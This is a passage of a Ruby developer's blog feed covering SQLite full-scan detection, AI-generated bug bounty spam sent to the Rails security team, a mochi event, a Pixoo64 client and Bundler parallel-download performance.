&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#ae81ff&#34;&gt;1_000&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;times &lt;span style=&#34;color:#66d9ef&#34;&gt;do&lt;/span&gt; &lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;i&lt;span style=&#34;color:#f92672&#34;&gt;|&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  db&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;execute(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;INSERT INTO users (name, age) VALUES (?, ?)&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;[&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;user&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;#{&lt;/span&gt;i&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;, i &lt;span style=&#34;color:#f92672&#34;&gt;%&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;100&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;]&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;query&lt;/span&gt;(db)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Prepare a statement and query it&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  stmt &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; db&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;prepare(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;SELECT * FROM users WHERE age = ?&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  stmt&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;bind_param(&lt;span style=&#34;color:#ae81ff&#34;&gt;1&lt;/span&gt;, &lt;span style=&#34;color:#ae81ff&#34;&gt;42&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  stmt&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;to_a
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#75715e&#34;&gt;# Check the number of full scan steps to detect full table scan&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  fullscan_steps &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; stmt&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;stat(&lt;span style=&#34;color:#e6db74&#34;&gt;:fullscan_steps&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  puts &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;fullscan_steps: &lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;#{&lt;/span&gt;fullscan_steps&lt;span style=&#34;color:#e6db74&#34;&gt;}&lt;/span&gt;&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;if&lt;/span&gt; fullscan_steps &lt;span style=&#34;color:#f92672&#34;&gt;&amp;gt;&lt;/span&gt; &lt;span style=&#34;color:#ae81ff&#34;&gt;0&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    puts &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;  =&amp;gt; query performed a full table scan&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;else&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    puts &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;  =&amp;gt; no full table scan&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# No index, so we&amp;#39;ll see a full table scan&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;query(db)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Create an index&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;db&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;execute(&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;CREATE INDEX idx_users_age ON users(age)&amp;#34;&lt;/span&gt;)
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#75715e&#34;&gt;# Added an index, so no full table scan&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;query(db)
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Feels like we could integrate this in to Rails and warn or raise in test / development.
I&amp;rsquo;m not sure if we&amp;rsquo;d want to check this all the time in production, but maybe it would be fine?&lt;/p&gt;
</content>
  </entry>

  
    <entry>
    <title>Rails Security, AI, and IBB</title>
    <link rel="alternate" href="https://tenderlovemaking.com/2026/05/06/rails-security-ai-and-ibb/"/>
    <id>https://tenderlovemaking.com/2026/05/06/rails-security-ai-and-ibb/</id>
    <published>2026-05-06T10:31:54-07:00</published>
    <updated>2026-05-06T10:31:54-07:00</updated>
    <content type="html">&lt;p&gt;For quite a few years the Rails project has been working with the &lt;a href=&#34;https://hackerone.com/ibb?type=team&#34;&gt;Internet Bug Bounty&lt;/a&gt; (IBB).
The IBB is an organization that awarded cash to security researchers that reported issues to OSS projects participating in the IBB.
For quite a while I wasn&amp;rsquo;t certain about my feelings toward the program because I felt like cash rewards could incentivize low quality reports as well as encourage reporters to &amp;ldquo;haggle&amp;rdquo; about the severity of a particular bug (the IBB paid more when the bug was more severe).
In the beginning that certainly was the case.
We were fielding many low quality reports, and people were haggling over severity.
But the program evolved, and despite the never-ending haggling, I felt it did more good (rewarding security researchers) than bad (forcing the security team to wade through low quality reports).&lt;/p&gt;
&lt;p&gt;That is, until AI came along.
Sometime in 2025 our team started getting inundated with low quality AI generated reports.
I know for sure this wasn&amp;rsquo;t unique to just our team as well.
Anyway, AI lowered the barrier to generate reports, so we were back in the era of wading through low quality reports.
Only this time, the low quality reports were masquerading as high quality reports.
AI made it easy to turn a bullshit problem into something that looked legit, and since there&amp;rsquo;s a possibility of money involved people tried to take advantage of the situation.&lt;/p&gt;
&lt;p&gt;We even had a report where someone forgot to delete the AI generated output and just uploaded the report as-is with the following text:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;## ✅ READY TO SUBMIT!

*All information prepared for professional Rails bug bounty submission.*

*Expected Outcome:*

Rails Team Response: 1-2 weeks
Fix Development: 2-8 weeks
Security Release: 8-12 weeks
IBB Bounty: $1,040-1,600 (80% of $1,300-2,000)


*Next Step:* Copy information above into HackerOne form and submit!
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;I enjoy using AI, but I really don&amp;rsquo;t like AI being used &lt;em&gt;on&lt;/em&gt; me.
But that&amp;rsquo;s not what this post is about.&lt;/p&gt;
&lt;p&gt;Recently the IBB stopped accepting new submissions.
In other words, they aren&amp;rsquo;t paying bounties to security researchers anymore.
I don&amp;rsquo;t know for sure since I haven&amp;rsquo;t asked them directly, but I suspect this is due to so many projects being inundated with AI generated reports.&lt;/p&gt;
&lt;p&gt;I think putting a stop to bounties makes sense for the time being.
Of course the downside is that legitimate researchers are no longer incentivized to report bugs to OSS projects.
Finally, the Rails team didn&amp;rsquo;t actually handle paying out any of the bounties.
After we accept and release fixes, the IBB took care of the bounties and we had no visibility into that process.
Since the IBB has stopped accepting new submissions and paying bounties, we&amp;rsquo;re now tasked with playing customer support for IBB as many reporters are now asking us &amp;ldquo;are we getting paid?&amp;rdquo;&lt;/p&gt;
&lt;p&gt;I honestly don&amp;rsquo;t know what to make of this situation except that working in OSS security will always find new and interesting ways to suck.
I don&amp;rsquo;t have any particular &amp;ldquo;call to action&amp;rdquo; for this post, but I hope that it gives people some kind of glimpse into how the tofu is made.&lt;/p&gt;
&lt;p&gt;Anyway, have a good day, and remember: It&amp;rsquo;s always Friday somewhere!&lt;/p&gt;
</content>
  </entry>

  
    <entry>
    <title>Bainbridge Island Mochi Tsuki</title>
    <link rel="alternate" href="https://tenderlovemaking.com/shots/2026-01-19-bainbridge-island-mochi-tsuki/"/>
    <id>https://tenderlovemaking.com/shots/2026-01-19-bainbridge-island-mochi-tsuki/</id>
    <published>2026-01-19T15:18:23-08:00</published>
    <updated>2026-01-19T15:18:23-08:00</updated>
    <content type="html">&lt;img src="/shots/2026-01-19-bainbridge-island-mochi-tsuki/images/P1100094.jpeg" alt="Seattle waterfront skyline featuring the Space Needle and Great Wheel ferris wheel, viewed through a ferry window across Elliott Bay." /&gt;&lt;img src="/shots/2026-01-19-bainbridge-island-mochi-tsuki/images/P1100122.jpeg" alt="A group of people gathered outdoors watching a young man wearing a headband demonstrate mochi pounding with large wooden mallets (kine) at what appears to be a traditional mochitsuki event." /&gt;&lt;img src="/shots/2026-01-19-bainbridge-island-mochi-tsuki/images/P1100141.jpeg" alt="A man wearing a headband pours water into a traditional stone mortar (usu) during a mochi-pounding demonstration as a crowd watches outdoors." /&gt;&lt;img src="/shots/2026-01-19-bainbridge-island-mochi-tsuki/images/P1100366.jpeg" alt="A taiko drummer in a red and black vest performs with large wooden bachi sticks on a traditional Japanese drum during a group performance." /&gt;&lt;img src="/shots/2026-01-19-bainbridge-island-mochi-tsuki/images/P1100750.jpeg" alt="A taiko drummer wearing traditional black and bronze performance attire plays a large wooden drum with wooden bachi sticks during a performance." /&gt;&lt;p&gt;Last weekend we took the ferry to Bainbridge Island to see a &lt;a href=&#34;https://bijac.org/event/mochi-tsuki-2026/&#34;&gt;Mochi Tsuki event&lt;/a&gt;.
I read about the &lt;a href=&#34;https://bijac.org&#34;&gt;history of Japanese immigrants on Bainbridge island&lt;/a&gt;.
I saw people making mochi, a &lt;a href=&#34;https://seattlekokontaiko.org&#34;&gt;taiko drummer group&lt;/a&gt;, and traditional dances.
It was a lot of fun, and I learned a lot.  Definitely recommend this event!&lt;/p&gt;
</content>
  </entry>

  
    <entry>
    <title>Pixoo64 Ruby Client</title>
    <link rel="alternate" href="https://tenderlovemaking.com/2026/01/01/pixoo64-ruby-client/"/>
    <id>https://tenderlovemaking.com/2026/01/01/pixoo64-ruby-client/</id>
    <published>2026-01-01T19:17:26-08:00</published>
    <updated>2026-01-01T19:17:26-08:00</updated>
    <content type="html">&lt;p&gt;I bought a &lt;a href=&#34;https://divoom.com/products/pixoo-64&#34;&gt;Pixoo64 LED Display&lt;/a&gt; to play around with, and I love it!
It connects to WiFi and has an on-board HTTP API so you can program it.
I made &lt;a href=&#34;https://github.com/tenderlove/pixoo-rb&#34;&gt;a Ruby client for it&lt;/a&gt; that even includes code to convert PNG files to the binary format the sign wants.&lt;/p&gt;
&lt;p&gt;One cool thing is that the display can be configured to fetch data from a remote server, so I configured mine to fetch PM2.5 and CO2 data for my office.&lt;/p&gt;
&lt;p&gt;Here&amp;rsquo;s what it&amp;rsquo;s looking like so far:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/2026/01/01/pixoo64-ruby-client/images/P1010032.jpeg&#34; alt=&#34;LED sign that has a cat and PM2.5 data on it&#34;&gt;&lt;/p&gt;
&lt;p&gt;Yes, this is how I discovered I need to open a window 😂&lt;/p&gt;
</content>
  </entry>

  
    <entry>
    <title>Cat Pics</title>
    <link rel="alternate" href="https://tenderlovemaking.com/shots/2025-12-30-cat-pics/"/>
    <id>https://tenderlovemaking.com/shots/2025-12-30-cat-pics/</id>
    <published>2025-12-30T18:00:58-08:00</published>
    <updated>2025-12-30T18:00:58-08:00</updated>
    <content type="html">&lt;img src="/shots/2025-12-30-cat-pics/images/PC300360.jpeg" alt="An orange cat peeks out from inside a light blue felt cat bed with a circular entrance opening." /&gt;&lt;img src="/shots/2025-12-30-cat-pics/images/PC300384.jpeg" alt="An orange cat with bright green eyes peers out from inside a blue felted cat tunnel." /&gt;&lt;img src="/shots/2025-12-30-cat-pics/images/PC300388.jpeg" alt="An orange cat with wide green eyes peeks out from inside a blue felted cat tunnel." /&gt;&lt;p&gt;Did a few cat pics tonight!&lt;/p&gt;
</content>
  </entry>

  
    <entry>
    <title>Can Bundler Be as Fast as uv?</title>
    <link rel="alternate" href="https://tenderlovemaking.com/2025/12/29/can-bundler-be-as-fast-as-uv/"/>
    <id>https://tenderlovemaking.com/2025/12/29/can-bundler-be-as-fast-as-uv/</id>
    <published>2025-12-29T12:26:00-08:00</published>
    <updated>2025-12-29T12:26:00-08:00</updated>
    <content type="html">&lt;p&gt;At RailsWorld earlier this year, I got nerd sniped by someone.
They asked &amp;ldquo;why can&amp;rsquo;t Bundler be as fast as uv?&amp;rdquo;
Immediately my inner voice said &amp;ldquo;YA, WHY CAN&amp;rsquo;T IT BE AS FAST AS UV????&amp;rdquo;&lt;/p&gt;
&lt;p&gt;My inner voice likes to shout at me, especially when someone asks a question so obvious I should have thought of it myself.
Since then I&amp;rsquo;ve been thinking about and investigating this problem, going so far as to &lt;a href=&#34;https://www.xoruby.com/event/portland/&#34;&gt;give a presentation at XO Ruby Portland about Bundler performance&lt;/a&gt;.
I firmly believe the answer is &amp;ldquo;Bundler &lt;em&gt;can&lt;/em&gt; be as fast as uv&amp;rdquo; (where &amp;ldquo;as fast&amp;rdquo; has a margin of error lol).&lt;/p&gt;
&lt;p&gt;Fortunately, Andrew Nesbitt recently wrote a post called &lt;a href=&#34;https://nesbitt.io/2025/12/26/how-uv-got-so-fast.html&#34;&gt;&amp;ldquo;How uv got so fast&amp;rdquo;&lt;/a&gt;, and I thought I would take this opportunity to review some of the highlights of the post and how techniques applied in uv can (or can&amp;rsquo;t) be applied to Bundler / RubyGems.
I&amp;rsquo;d also like to discuss some of the existing bottlenecks in Bundler and what we can do to fix them.&lt;/p&gt;
&lt;p&gt;If you haven&amp;rsquo;t read Andrew&amp;rsquo;s post, I &lt;a href=&#34;https://nesbitt.io/2025/12/26/how-uv-got-so-fast.html&#34;&gt;highly recommend giving it a read&lt;/a&gt;.
I&amp;rsquo;m going to quote some parts of the post and try to reframe them with RubyGems / Bundler in mind.&lt;/p&gt;
&lt;h2 id=&#34;rewrite-in-rust&#34;&gt;Rewrite in Rust?&lt;/h2&gt;
&lt;p&gt;Andrew opens the post talking about rewriting in Rust:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;uv installs packages faster than pip by an order of magnitude. The usual explanation is “it’s written in Rust.” That’s true, but it doesn’t explain much. Plenty of tools are written in Rust without being notably fast. The interesting question is what design decisions made the difference.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is such a good quote.
I&amp;rsquo;m going to address &amp;ldquo;rewrite in Rust&amp;rdquo; a bit later in the post.
But suffice to say, I think if we eliminate bottlenecks in Bundler such that the only viable option for performance improvements is to &amp;ldquo;rewrite in Rust&amp;rdquo;, then I&amp;rsquo;ll call it a success.
I think rewrites give developers the freedom to &amp;ldquo;think outside the box&amp;rdquo;, and try techniques they might not have tried.
In the case of &lt;code&gt;uv&lt;/code&gt;, I think it gave the developers a good way to say &amp;ldquo;if we don&amp;rsquo;t have to worry about backwards compatibility, what could we achieve?&amp;rdquo;.&lt;/p&gt;
&lt;p&gt;I suspect it would be possible to write a uv in Python (PyUv?) that approaches the speeds of uv, and in fact much of the blog post goes on to talk about performance improvements that &lt;em&gt;aren&amp;rsquo;t&lt;/em&gt; related to Rust.&lt;/p&gt;
&lt;h2 id=&#34;installing-code-without-evaling&#34;&gt;Installing code without eval&amp;rsquo;ing&lt;/h2&gt;
&lt;blockquote&gt;
&lt;p&gt;pip’s slowness isn’t a failure of implementation. For years, Python packaging required executing code to find out what a package needed.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I didn&amp;rsquo;t know this about Python packages, and it doesn&amp;rsquo;t really apply to Ruby Gems so I&amp;rsquo;m mostly going to skip this section.&lt;/p&gt;
&lt;p&gt;Ruby Gems are tar files, and one of the files in the tar file is a YAML representation of the GemSpec.
This YAML file declares all dependencies for the Gem, so RubyGems can know, without evaling anything, what dependencies it needs to install before it can install any particular Gem.
Additionally, RubyGems.org provides an API for asking about dependency information, which is actually the normal way of getting dependency info (again, no &lt;code&gt;eval&lt;/code&gt; required).&lt;/p&gt;
&lt;p&gt;There&amp;rsquo;s only one other thing from this section I&amp;rsquo;d like to quote:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;PEP 658 (2022) put package metadata directly in the Simple Repository API, so resolvers could fetch dependency information without downloading wheels at all.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;Fortunately RubyGems.org already provides the same information about gems.&lt;/p&gt;
&lt;p&gt;Reading through the number of PEPs required as well as the amount of time it took to get the standards in place was very eye opening for me.
I can&amp;rsquo;t help but applaud folks in the Python community for doing this.
It seems like a mountain of work, and they should really be proud of themselves.&lt;/p&gt;
&lt;h2 id=&#34;what-uv-drops&#34;&gt;What uv drops&lt;/h2&gt;
&lt;p&gt;I&amp;rsquo;m mostly going to skip this section except for one point:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Ignoring requires-python upper bounds. When a package says it requires python&amp;lt;4.0, uv ignores the upper bound and only checks the lower. This reduces resolver backtracking dramatically since upper bounds are almost always wrong. Packages declare python&amp;lt;4.0 because they haven’t tested on Python 4, not because they’ll actually break. The constraint is defensive, not predictive.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;I think this is very very interesting.
I don&amp;rsquo;t know how much time Bundler spends on doing &amp;ldquo;required Ruby version&amp;rdquo; bounds checking, but it feels like if uv can do it, so can we.&lt;/p&gt;
&lt;h2 id=&#34;optimizations-that-dont-need-rust&#34;&gt;Optimizations that don’t need Rust&lt;/h2&gt;
&lt;p&gt;I really love that Andrew pointed out optimizations that could be made that don&amp;rsquo;t involve Rust.
There are three points in this section that I want to pull out:&lt;/p&gt;
&lt;blockquote&gt;
&lt;p&gt;Parallel downloads. pip downloads packages one at a time. uv downloads many at once. Any language can do this.&lt;/p&gt;
&lt;/blockquote&gt;
&lt;p&gt;This is absolutely true, and is a place where Bundler could improve.
Bundler currently has a problem when it comes to parallel downloads, and needs a small architectural change as a fix.&lt;/p&gt;
&lt;p&gt;The first problem is that Bundler tightly couples &lt;em&gt;installing&lt;/em&gt; a gem with &lt;em&gt;downloading&lt;/em&gt; the gem.
You can read &lt;a href=&#34;https://github.com/ruby/rubygems/blob/c00ca53960d21d0680df4ea7dde8ddf1bedaa774/bundler/lib/bundler/source/rubygems.rb#L165&#34;&gt;the installation code here&lt;/a&gt;, but I&amp;rsquo;ll summarize the method in question below:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;def&lt;/span&gt; &lt;span style=&#34;color:#a6e22e&#34;&gt;install&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  path &lt;span style=&#34;color:#f92672&#34;&gt;=&lt;/span&gt; fetch_gem_if_not_cached
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  &lt;span style=&#34;color:#66d9ef&#34;&gt;Bundler&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;::&lt;/span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;RubyGemsGemInstaller&lt;/span&gt;&lt;span style=&#34;color:#f92672&#34;&gt;.&lt;/span&gt;install path, dest
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#66d9ef&#34;&gt;end&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;The problem with this method is that it inextricably links &lt;em&gt;downloading&lt;/em&gt; the gem with &lt;em&gt;installing&lt;/em&gt; it.
This is a problem because we could be downloading gems while installing other gems, but we&amp;rsquo;re forced to wait because the installation method couples the two operations.
Downloading gems can trivially be done in parallel since the &lt;code&gt;.gem&lt;/code&gt; files are just archives that can be fetched independently.&lt;/p&gt;
&lt;p&gt;The second problem is the queuing system in the installation code.
After gem resolution is complete, and Bundler knows what gems need to be installed, it queues them up for installation.
You can find &lt;a href=&#34;https://github.com/ruby/rubygems/blob/c00ca53960d21d0680df4ea7dde8ddf1bedaa774/bundler/lib/bundler/installer/parallel_installer.rb#L188-L201&#34;&gt;the queueing code here&lt;/a&gt;.
The code takes some effort to understand. Basically it allows gems to be installed in parallel, but only gems that have already had their dependencies installed.&lt;/p&gt;
&lt;p&gt;So for example, if you have a dependency tree like &amp;ldquo;gem &lt;code&gt;a&lt;/code&gt; depends on gem &lt;code&gt;b&lt;/code&gt; which depends on gem &lt;code&gt;c&lt;/code&gt;&amp;rdquo; (&lt;code&gt;a -&amp;gt; b -&amp;gt; c&lt;/code&gt;), then no gems will be installed (or downloaded) in parallel.&lt;/p&gt;
&lt;p&gt;To demonstrate this problem in an easy-to-understand way, I built a &lt;a href=&#34;https://github.com/tenderlove/slow-gemserver&#34;&gt;slow Gem server&lt;/a&gt;.
It generates a dependency tree of &lt;code&gt;a -&amp;gt; b -&amp;gt; c&lt;/code&gt; (&lt;code&gt;a&lt;/code&gt; depends on &lt;code&gt;b&lt;/code&gt;, &lt;code&gt;b&lt;/code&gt; depends on &lt;code&gt;c&lt;/code&gt;), then starts a Gem server.
The Gem server takes 3 seconds to return any Gem, so if we point Bundler at this Gem server and then profile Bundler, we can see the impact of the queueing system and download scheme.&lt;/p&gt;
&lt;p&gt;In my test app, I have the following Gemfile:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;source &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://localhost:9292&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gem &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;a&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;If we profile Bundle install with Vernier, we can see the following swim lanes in the marker chart:&lt;/p&gt;
&lt;p&gt;&lt;img src=&#34;/2025/12/29/can-bundler-be-as-fast-as-uv/images/serial.png&#34; alt=&#34;gem install swim lanes (serial)&#34;&gt;&lt;/p&gt;
&lt;p&gt;The above chart is showing that we get no parallelism during installation.
We spend 3 seconds downloading the &lt;code&gt;c&lt;/code&gt; gem, then we install it.
Then we spend 3 seconds downloading the &lt;code&gt;b&lt;/code&gt; gem, then we install it.
Finally we spend 3 seconds downloading the &lt;code&gt;a&lt;/code&gt; gem, and we install it.&lt;/p&gt;
&lt;p&gt;Timing the &lt;code&gt;bundle install&lt;/code&gt; process shows we take over 9 seconds to install (3 seconds per gem):&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;gt; rm -rf x; rm -f Gemfile.lock; time GEM_PATH=(pwd)/x GEM_HOME=(pwd)/x bundle install
Fetching gem metadata from http://localhost:9292/...
Resolving dependencies...
Fetching c 1.0.0
Installing c 1.0.0
Fetching b 1.0.0
Installing b 1.0.0
Fetching a 1.0.0
Installing a 1.0.0
Bundle complete! 1 Gemfile dependency, 3 gems now installed.
Use `bundle info [gemname]` to see where a bundled gem is installed.

________________________________________________________
Executed in   11.80 secs      fish           external
   usr time  341.62 millis  231.00 micros  341.38 millis
   sys time  223.20 millis  712.00 micros  222.49 millis
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Contrast this with a Gemfile containing &lt;code&gt;d&lt;/code&gt;, &lt;code&gt;e&lt;/code&gt;, and &lt;code&gt;f&lt;/code&gt;, which have no dependencies, but still take 3 seconds to download:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-ruby&#34; data-lang=&#34;ruby&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;source &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;http://localhost:9292&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gem &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;d&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gem &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;e&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;gem &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;f&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;&lt;img src=&#34;/2025/12/29/can-bundler-be-as-fast-as-uv/images/parallel.png&#34; alt=&#34;gem install swim lanes (parallel)&#34;&gt;&lt;/p&gt;
&lt;p&gt;Timing &lt;code&gt;bundle install&lt;/code&gt; for the above Gemfile shows it takes about 4 seconds:&lt;/p&gt;
&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;&amp;gt; rm -rf x; rm -f Gemfile.lock; time GEM_PATH=(pwd)/x GEM_HOME=(pwd)/x bundle install
Fetching gem metadata from http://localhost:9292/.
Resolving dependencies...
Fetching d 1.0.0
Fetching e 1.0.0
Fetching f 1.0.0
Installing e 1.0.0
Installing f 1.0.0
Installing d 1.0.0
Bundle complete! 3 Gemfile dependencies, 3 gems now installed.
Use `bundle info [gemname]` to see where a bundled gem is installed.

________________________________________________________
Executed in    4.14 secs      fish           external
   usr time  374.04 millis    0.38 millis  373.66 millis
   sys time  368.90 millis    1.09 millis  367.81 millis
&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We were able to install the same number of gems in a fraction of the time.
